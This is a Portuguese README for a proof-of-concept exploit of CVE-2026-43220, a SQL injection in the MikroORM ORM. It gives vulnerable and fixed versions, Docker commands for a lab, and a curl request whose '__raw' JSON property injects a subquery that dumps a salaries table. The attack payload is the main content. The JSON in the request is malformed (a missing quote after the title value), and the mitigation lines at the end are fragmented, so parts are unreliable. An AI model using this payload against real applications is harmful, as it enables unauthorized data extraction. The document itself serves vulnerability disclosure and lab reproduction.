
Vulnerabilidade de SQL Injection no MikroORM
★ PoC de Injeção SQL no MikroORM CVE-2026-43220 ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 é uma vulnerabilidade de Injeção SQL no MikroORM, um framework ORM amplamente utilizado em TypeScript/Node.js.
Quando um valor fornecido pelo usuário contendo uma propriedade__rawé passado para uma coluna de Tipo Personalizado sem validação, a verificaçãoisRaw()do MikroORM o identifica como uma expressão Raw SQL interna confiável e insere o valorsqlcontrolado pelo atacante diretamente na consulta gerada, sem conversão de tipo ou sanitização, causando execução não intencional de SQL arbitrário.
| Categoria | Versão |
|---|
| Vulnerável | MikroORM versão ≤ 6.4.3 & 7.0.0 ≤ versão ≤ 7.0.5 |
| Corrigida | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir o ataque.
__rawEnvie um corpo JSON que inclua uma propriedade __raw direcionada a uma coluna de Tipo Personalizado.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Confirme que a API retorna uma resposta bem-sucedida sem qualquer erro, indicando que o MikroORM aceitou o payload malicioso como um valor válido.
Verifique que o campo content do post criado contém o resultado da consulta
da tabela salaries (por exemplo, Alice: 5000 / Bob: 7000 / ...),
confirmando que dados de uma tabela não relacionada foram silenciosamente incorporados
na resposta sem qualquer erro ou violação de controle de acesso.
isRaw() para rejeitar propriedades __raw fornecidas externamente__raw antes de passar valores para a camada ORM